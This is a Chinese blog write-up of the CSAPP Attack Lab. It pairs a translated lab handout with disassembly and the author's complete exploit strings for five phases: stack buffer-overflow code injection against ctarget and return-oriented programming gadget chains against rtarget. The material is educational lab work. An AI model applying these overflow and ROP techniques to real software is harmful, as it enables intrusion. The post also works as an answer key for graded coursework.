一个本硕双非的小菜鸡,备战24年秋招。刚刚看完CSAPP,真是一本神书啊!遂尝试将它的Lab实现,并记录期间心酸历程。
代码下载
官方网站:CSAPP官方网站
以下是官方文档翻译:
此任务涉及到对两个具有不同安全漏洞的程序生成总共5次攻击。您将从这个实验室获得的结果包括:
您将了解到,当程序不能很好地保护自己以防止缓冲区溢出时,攻击者可以利用安全漏洞。
通过此方法,您将更好地了解如何编写更安全的程序,以及编译器和操作系统提供的一些特性,以使程序更不容易受到攻击。
您将更深入了解x86-64机器代码的堆栈和参数传递机制。
您将更深入地了解x86-64指令是如何编码的。 您将获得更多使用GDB和OBJDUMP等调试工具的经验。
注意:在本实验室中,您将获得有关利用操作系统和网络服务器中的安全弱点的方法的第一手经验。我们的目的是帮助您了解程序的运行时操作,并了解这些安全弱点的本质,以便当您在编写系统代码时能够避免它们。我们不允许使用任何其他形式的攻击来获得对任何系统资源的未经授权的访问。
注:
README.txt:描述目录内容的文件:
ctarget:易受代码注入攻击的可执行程序:
rtarget:易受面向返回编程攻击的可执行程序
cookie.txt:一个八位十六进制代码,您将在攻击中作为唯一标识符。
farm.c:目标的“小工具场”的源代码,您将使用它来生成面向返回的编程攻击。
hex2raw:一个用于生成攻击字符串的实用程序。
要点:
您的利用字符串不能在任何中间位置包含字节值0x0a,因为这是换行符的ASCII代码(“\n”)。当获取遇到此字节时,它将假定您打算终止该字符串。
hex2raw期望由一个或多个空格分隔的两位十六进制值。所以,如果你想这样做的话创建一个十六进制值为0的字节,您需要将其写为00。要创建单词0xdeadbeef,您应该将“efbeadde”传递给HEX2RAW(注意小端字节排序所需的反转)。
如果./ctarget 不好使,提示FAILED: Initialization error: Running on an illegal host [ubuntu16],
后面加个-q,./ctarget -q
实验简单来说分为两大部分,第一部分为代码注入攻击,第二部分是ROP攻击。
在前三个阶段,您的利用字符串将攻击c目标。这个程序的设置方式是,堆栈的位置从一次运行到下一次运行都是一致的,因此堆栈上的数据可以被视为可执行代码。这些特性使程序容易受到攻击,其中利用字符串包含可执行代码的字节编码。
目标程序
从标准输入的ct和rt读取字符串。它们使用下面定义的函数getbuf来这样做:
函数Gets与标准库函数类似—它从标准输入(以“\n”或文件结尾)读取字符串,并将其存储在指定
的目的地(连同空终止符)。在这段代码中,您可以看到目标是一个数组buf,声明为具有BUFFER_SIZE字节。在生成目标的时候,BUFFER_SIZE是一个特定于您的程序版本的编译时常数。
函数获取Gets(),而获取gets(),但无法确定它们的目标缓冲区是否足够大,以存储它们读取的字符串。
它们只是复制字节序列,可能覆盖在目标上分配的存储的边界。如果由用户键入并由getbuf读取的字符串足够短,那么很明显getbuf将返回1
对于阶段1,您将不会注入新的代码。相反,利用字符串将重定向程序以执行现有的过程。
函数getbuf在目标内通过函数测试调用,具有以下C代码:
1 void test()
2 {
3 int val;
4 val = getbuf();
5 printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
当getbuf执行它的返回语句(getbuf的第5行)时,程序通常会在函数测试中恢复执行(在这个函数的
第5行)。我们想改变这种行为。在文件目标中,有一个具有以下C表示的函数touch1的代码:
1 void touch1()
2 {
3 vlevel = 1; /* Part of validation protocol */
4 printf("Touch1!: You called touch1()\n");
5 validate(1);
6 exit(0);
7 }
说明中有一句:**buf在getbuf的堆栈帧中的位置取决于编译时常数BUFFER_SIZE的值,以及GCC所使用的分配策略。您将需要检查已拆卸的代码,以确定其位置。**这句话很关键!
还是跟BombLab相同的操作,先进行反汇编。
objdump -d ctarget > ctarget.asm
然后让我们看一看touch1的汇编代码:
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi-
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
我们可以看到,如果想要进行攻击操作,就要到达touch1的地址,也就是00000000004017c0。
然后再来看看getbuf的汇编代码:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
getbuf读取到了0x28,也就是40字节。如果我们想进行攻击,那么就把这40字节统统填满(我就简单全塞00了),然后跟上touch1的地址。所以我们可以得出答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
此处应注意x86系统为小端字节序,所以touch1的地址应该是反过来的。
记得新建一个txt把答案放进去,我起名为phase1。按照参考文档给出的方法启动**./hex2raw < phase1 | ./ctarget -q**
总之:
阶段2涉及到注入少量的代码作为您的利用字符串的一部分。
在文件中,有一个具有以下C表示的函数touch2的代码:
1 void touch2(unsigned val)
2 {
3 vlevel = 2; /* Part of validation protocol */
4 if (val == cookie) {
5 printf("Touch2!: You called touch2(0x%.8x)\n", val);
6 validate(2);
7 } else {
8 printf("Misfire: You called touch2(0x%.8x)\n", val);
9 fail(2);
10 }
11 exit(0);
12 }
您的任务是让ctorgort执行touch2的代码,而不是返回到测试中。然而,在这种情况下,您必须让它
看起来touch2,就好像你已经通过了你的cookie作为它的论点。
一些建议:
您将希望定位注入代码的地址的字节表示getbuf代码末尾的ret指令将把控制转移给它。
回想一下,一个函数的第一个参数是在寄存器%rdi中传递的。
您注入的代码应该将寄存器设置为cookie,然后使用ret指令将控制转移到touch2中的第一个指令。
不要尝试使用jmp或调用指令。这些指令的目的地地址的编码很难制定。使用ret指令的所有控制转移,即使你没有从一个呼叫返回。请参见附录B中关于如何使用工具来生成指令序列的字节级表示的讨论。
让我们看一看touch2的汇编代码:
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
我们可以看到,如果想要进行攻击操作,一样要到达touch2的地址,需要传入一值与cookie一致,我的cookie值为0x59b997fa,存放在cookie.txt中。
由于题目要求不能使用jump和call指令,但是我们可以用ret指令进行操作。汇编的ret指令是用于从一个子程序返回到调用它的主程序的指令。它会将栈中存储的返回地址弹出,并跳转到这个地址继续执行。
所以我们的操作就是
相对应的汇编代码为:
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
我们先新建一个.s汇编文件(我这里是phase2.s),然后再进行反汇编。
新建:vi phase2.s
得到目标文件:gcc -c phase2.s
反汇编:objdump -d phase2.o
好的,我们已经知道了这三条指令的机器指令写法了,之后就是往rsp里注入了,我们需要知道rsp的地址。
首先在getbuf(地址为00000000004017a8)打上断点,然后执行。提示没有buf.c不用管,然后使用stepi命令进入函数,查看%rsp的值,可以看出栈顶地址为0x5561dc78。
所以我们可以得出答案:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
记得新建一个txt把答案放进去,我起名为phase2。按照参考文档给出的方法启动**./hex2raw < phase2 | ./ctarget -q**
总之:
阶段3还涉及到一个代码注入攻击,但要将一个字符串作为参数传递。
在文件ctoroct中有hexmatch和touch3的代码,具有以下C表示:
1 /* Compare string to hex represention of unsigned value */
2 int hexmatch(unsigned val, char *sval)
3 {
4 char cbuf[110];
5 /* Make position of check string unpredictable */
6 char *s = cbuf + random() % 100;
7 sprintf(s, "%.8x", val);
8 return strncmp(sval, s, 9) == 0;
9 }
10
11 void touch3(char *sval)
12 {
13 vlevel = 3; /* Part of validation protocol */
14 if (hexmatch(cookie, sval)) {
15 printf("Touch3!: You called touch3(\"%s\")\n", sval);
16 validate(3);
17 } else {
18 printf("Misfire: You called touch3(\"%s\")\n", sval);
19 fail(3);
20 }
21 exit(0);
22 }
您的任务是让ctorgort执行touch3的代码,而不是返回到测试中。你必须让它看起来touch3,就好像你传递了cookie的字符串表示作为它的参数。一些建议:
您将需要在利用漏洞的字符串中包含cookie的字符串表示形式。字符串应该由8个十六进制数字(从最重要到最不重要的排序)组成,没有前导的“0x”。
回想一下,一个字符串用C表示为一个字节序列,后面跟一个值为0的字节。类型来查看您所需要的字符的字节表示。
您注入的代码应该将寄存器%rdi设置为此字符串的地址。
当调用hexmatch和strncmp时,它们会将数据推送到堆栈中,覆盖包含getbuf使用的缓冲区的内存部分。因此,您需要小心放置cookie的字符串表示的位置。
和touch2类似,都是比较参数与cookie是否相同,但是这次是以字符串的形式,还是老样子让我们看一看touch3的汇编代码:
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 callq 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 callq 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
似乎不是很难,就把cookie值0x59b997fa转换成字符串传到getbuf缓冲区就好了,但是我们需要注意其hexmatch函数,他开启了110字节的空间,并且在汇编代码中连续进行push操作。而且touch3几乎是开头就调用了这个函数,很容易就把我们刚存储好的数据破坏。
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp
401854: 41 89 fc mov %edi,%r12d
401857: 48 89 f5 mov %rsi,%rbp
40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401861: 00 00
401863: 48 89 44 24 78 mov %rax,0x78(%rsp)
401868: 31 c0 xor %eax,%eax
40186a: e8 41 f5 ff ff callq 400db0 <random@plt>
40186f: 48 89 c1 mov %rax,%rcx
401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401879: 0a d7 a3
40187c: 48 f7 ea imul %rdx
40187f: 48 01 ca add %rcx,%rdx
401882: 48 c1 fa 06 sar $0x6,%rdx
401886: 48 89 c8 mov %rcx,%rax
401889: 48 c1 f8 3f sar $0x3f,%rax
40188d: 48 29 c2 sub %rax,%rdx
401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401894: 48 8d 04 80 lea (%rax,%rax,4),%rax
401898: 48 c1 e0 02 shl $0x2,%rax
40189c: 48 29 c1 sub %rax,%rcx
40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
4018a3: 45 89 e0 mov %r12d,%r8d
4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx
4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4018b2: be 01 00 00 00 mov $0x1,%esi
4018b7: 48 89 df mov %rbx,%rdi
4018ba: b8 00 00 00 00 mov $0x0,%eax
4018bf: e8 ac f5 ff ff callq 400e70 <__sprintf_chk@plt>
4018c4: ba 09 00 00 00 mov $0x9,%edx
4018c9: 48 89 de mov %rbx,%rsi
4018cc: 48 89 ef mov %rbp,%rdi
4018cf: e8 cc f3 ff ff callq 400ca0 <strncmp@plt>
4018d4: 85 c0 test %eax,%eax
4018d6: 0f 94 c0 sete %al
4018d9: 0f b6 c0 movzbl %al,%eax
4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi
4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
4018e8: 00 00
4018ea: 74 05 je 4018f1 <hexmatch+0xa5>
4018ec: e8 ef f3 ff ff callq 400ce0 <__stack_chk_fail@plt>
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 retq
如果我们想进行攻击,那么可以把要输入的cookie值放在输入字符串操作的后面,除了起始地址需要改变几乎与touch2代码一致。
由第二题我们知道栈顶地址为0x5561dc78。所以现地址为:0x5561dc78 + (二代码的48个字节,转为2进制就是30) = 0x5561dca8。
所以我们可以得出答案:(改动:第一行的原地址改为5561dca8,第二行由之前的touch2地址改为4018fa也就是touch3的地址 ,最后多加了一行cookie值的字符串ascll16进制值表示(这里直接查ascll表就好啦,总之是35 39 62 39 39 37 66 61 00))
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
总之:
gadgets操作,也就是第四、五次攻击的方法
对程序目标执行代码注入攻击比执行程序目标要困难得多,因为它使用了两种技术来阻止这类攻击:
它使用随机化,以便不同运行的堆栈位置不同。这使得您无法确定您所注入的代码将位于何处。
它将保存堆栈的内存部分标记为不可执行文件,因此即使您可以将程序计数器设置为注入代码的开始,程序也会因为分段故障而失败。
幸运的是,聪明的人设计了策略,通过执行现有的代码,而不是注入新的代码来在程序中完成有用的事情。这其中最一般的形式被称为面向返回的编程(ROP)[1,2]。使用ROP的策略是识别现有程序中的字节序列,其中包含由一个或多个指令和指令ret组成的字节序列。这样的节段被称为gadget。图中说明了如何设置堆栈来执行ngadgets的序列。在此图中,堆栈包含一系列gadgets地址。每个gadgets由一系列指令字节组成,最后一个是0xc3,编码ret指令。当程序执行从此配置开始的ret指令时,它将启动一个gadgets执行链,在每个gadgets的末尾的ret指令将导致程序跳转到下一个指令的开始。
这张图很重要!
一个gadgets可以使用与由编译器生成的汇编语言语句相对应的代码,特别是位于函数末端的语句。在实践中,可能有一些这种形式的有用的小工具,但还不足以实现许多重要的操作。例如,一个编译的函数不太可能将popq %rdi作为其在ret之前的最后一条指令。幸运的是,对于一个面向字节的指令集,如x86-64,通常可以通过从指令字节序列的其他部分提取模式来找到一个gadgets。
例如,一个版本的rtarget包含为以下C函数生成的代码:
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
这个函数对攻击系统有用的可能性似乎很小。但是,这个函数的可拆卸的机器代码显示了一个有趣的字节序列:
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
字节序列48 89 c7编码指令movq %rax,%rdi。(关于有用的movq指令的编码,请见图3A。)这个序列后面是字节值c3,它对ret指令进行编码。该函数从地址0x400f15开始,并且该序列从该函数的第四个字节开始。因此,此代码包含一个gadgets,其起始地址为0x400f18,它将复制寄存器%rax中的64位值以注册%rdi。
您的rtaroct代码包含许多函数,类似于上面在我们称为gadgets场的区域中显示的setval_210函数。
您的工作将是识别gadgets场中有用的gadgets,并使用这些gadgets来执行类似于您在第2阶段和第3阶段所做的攻击。
重要信息:gadgets场是由目标副本中的st和结束场功能划分的。不要尝试从程序代码的其他部分构造gadgets。
阶段四正式开始
对于阶段4,您将重复阶段2的攻击,但要使用来自gadgets场中的小工具进行程序目标攻击。您可以使用由以下指令类型组成的gadgets,并且只使用前8个x86-64寄存器(%rax-%rdi)来构建解决方案。
movq:这些代码的代码如图3A所示。
popq:这些代码的代码如图3B所示。
ret:此指令由单个字节0xc3编码。
注意:这个指令(发音为“noop”,是“no操作”的缩写)是由单个指令编码的字节0x90。它唯一的效果是使程序计数器增加1。
一些建议:
您需要的所有gadgets都可以在由功能开始于农场和中间农场。
你可以只用两个gadgets来进行这次攻击。
当一个gadgets使用一个popq指令时,它将从堆栈中弹出数据。因此,利用字符串将包含gadgets地址和数据的组合。
我的理解
简单来说就是不能像前三个那样精准定位了,OP攻击中设置了栈随机化。但是我们可以“断章取义”,就像例子中提到那样,c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 断章取义成48 89 c7 movq %rax,%rdi,整个意思就变了。
我们要去找到这样的代码段,且这样的代码段以ret结束,这就是题中提到的gadgets。
这里是文档中给到的汇编指令对应的二进制代码。
首先仍然是先进行反汇编
objdump -d rtarget > rtarget.asm
能用到的gadgets是在start_farm 到 mid_farm 区间内,具体如下:
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 retq
touch2我们所做的操作有:
相对应的汇编代码为:
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
而现在,我们只能使用gadget来操作,大致指令应如下
popq %rax
movq %rax, %rdi
与图中比较,popq %rax为58,movq %rax, %rdi为48 89 c7。
回到rtarget的反汇编程序中搜索,包含这两个数字的gadget代码为:
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
随便对应选一个就成,首先先把这40字节统统填满(我就简单全塞00了),然后跟上gadget的地址,使得getbuf程序退出之后跳转到gadget处执行,之后gadget执行pop %rax指令,从栈顶弹出cookie值,之后将cookie值放入%rdi中,最后gadget执行retq指令,从栈顶弹出touch2地址,从而使得程序直接跳转到touch2执行。
所以我们可以得出答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00 /我取的280,记得地址+58的位置数/
fa 97 b9 59 00 00 00 00 /cookie值/
c5 19 40 00 00 00 00 00 /我取的426,记得地址+48的位置数/
ec 17 40 00 00 00 00 00/touch2地址值/
此处应注意x86系统为小端字节序
记得新建一个txt把答案放进去,我起名为phase4。按照参考文档给出的方法启动**./hex2raw < phase4 | ./rtarget -q**
总之:
ps:反汇编中58还有一个是
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
这个是不行的,发现与219和280区别是58后面接的是90而不是92,根据提示nop是90,所以应该也是这个424不能用的原因,大概吧。。。
在你开始第五阶段之前,停下来考虑一下到目前为止你已经完成了什么。在阶段2和阶段3中,您让一个程序执行您自己设计的机器代码。如果ctarort是一个网络服务器,您可以将自己的代码注入到遥远的机器中。在阶段4中,您绕过了现代系统用来阻止缓冲区溢出攻击的两个主要设备。虽然您没有注入您自己的代码,但您可以注入一种通过将现有代码的序列拼接在一起来操作的程序类型。你的实验室也得到了95/100分。这是一个很好的分数。如果你有其他紧迫的义务,可以考虑现在就停止吧。
阶段5要求您对rroget进行ROP攻击,以使用指向cookie字符串表示的指针调用函数touch3。这看起来并不比使用ROP攻击来调用touch2困难多少,只是我们已经做到了。此外,阶段5只计算5分,这不是它所需努力的真正衡量。对于那些想要超出对该课程的正常预期的人来说,这更像是一个额外的信用问题。
ps:爷在前几个题被你们一顿拷打,现在终于见到曙光了你让爷放弃,想得美!
要解决阶段5,您可以使用由start场和端场划分的代码区域中的小工具。除了在阶段4中使用的gadget之外,这个扩展的农场还包括了不同的movl指令的编码,如图3C所示。服务器场的这部分中的字节序列还包含作为功能空值的2字节指令,也就是说,它们不改变任何寄存器或内存值。这些指令包括如图3D所示的指令,如andb %al,%al,它们操作一些寄存器的低阶字节,但不改变它们的值。
一些建议:
您将想要查看movl指令对寄存器上4个字节的影响,例如在文本的第183页中进行了描述。
官方的解决方案需要8个gadget(并不是所有的小工具都是唯一的)。
祝你好运,玩得开心吧!(ps:怎么有股不祥的预感。。。)
touch3我们所做的操作有:
除了起始地址需要改变几乎与touch2代码一致,把要输入的cookie值放在输入字符串操作的后面。
头疼了,没办法确定字符串存放地址。。。只能通过“栈顶地址+偏移地址”的方式去表示。直接加法还没有得自己手动实现(有寄存器互加add_xy)
我们要做的操作有:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
想法很美好现实很残酷,没有movq %rsp, %rdi。。。只能为了走直线而走弯路了,有movq %rsp, %rax这条指令,先中转到%rax,再转%rdi。
然后寻找偏移地址传%rsi,结果也没找到popq %rsi。跟%rsi相关的只有一个movl %ecx, %esi。
然后就是一直反推,跟%ecx相关的有movl %edx, %ecx,跟%edx相关的有movl %eax, %edx,popq %rax是有的。(这段强烈感谢各位前辈大佬的种树,有了你们我们这些后人才能好乘个凉)
相对应的汇编代码为:
movq %rsp, %rax
movq %rax, %rdi
popq %rax
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
lea (%rdi,%rsi,1),%rax
movq $rax, %rdi
这才勉强得出答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 /我取的190,记得地址+48的位置数/
c5 19 40 00 00 00 00 00 /我取的426,记得地址+48的位置数/
cc 19 40 00 00 00 00 00 /我取的280,记得地址+58的位置数/
48 00 00 00 00 00 00 00 /偏移地址就是一共9条指令,每条8字节,48/
dd 19 40 00 00 00 00 00 /我取的481,记得地址+89的位置数,小心这个别和48那个重了/
34 1a 40 00 00 00 00 00 /我取的159,记得地址+89的位置数/
13 1a 40 00 00 00 00 00 /我取的436,记得地址+89的位置数/
d6 19 40 00 00 00 00 00 /lea (%rdi,%rsi,1),%rax,也就是add_xy的地址/
c5 19 40 00 00 00 00 00 /我取的426,记得地址+48的位置数/
fa 18 40 00 00 00 00 00/touch3地址值/
35 39 62 39 39 37 66 61
00 /cookie值,直接拿touch3求出来的就好/
此处应注意x86系统为小端字节序
记得新建一个txt把答案放进去,我起名为phase5。按照参考文档给出的方法启动**./hex2raw < phase5 | ./rtarget -q**
总之:
现在的我完全不想码骚话,脑子混混帐帐(字都打错了)已经不行了。。。
第二天早上来继续码骚话,这五次攻击的练习对汇编、对栈的存储,乃至往远了说对以后的编程注意点都是一个不小的提升,只能说一边被虐一边学习,痛并快乐着。(该不会觉醒什么奇奇怪怪的爱好了吧)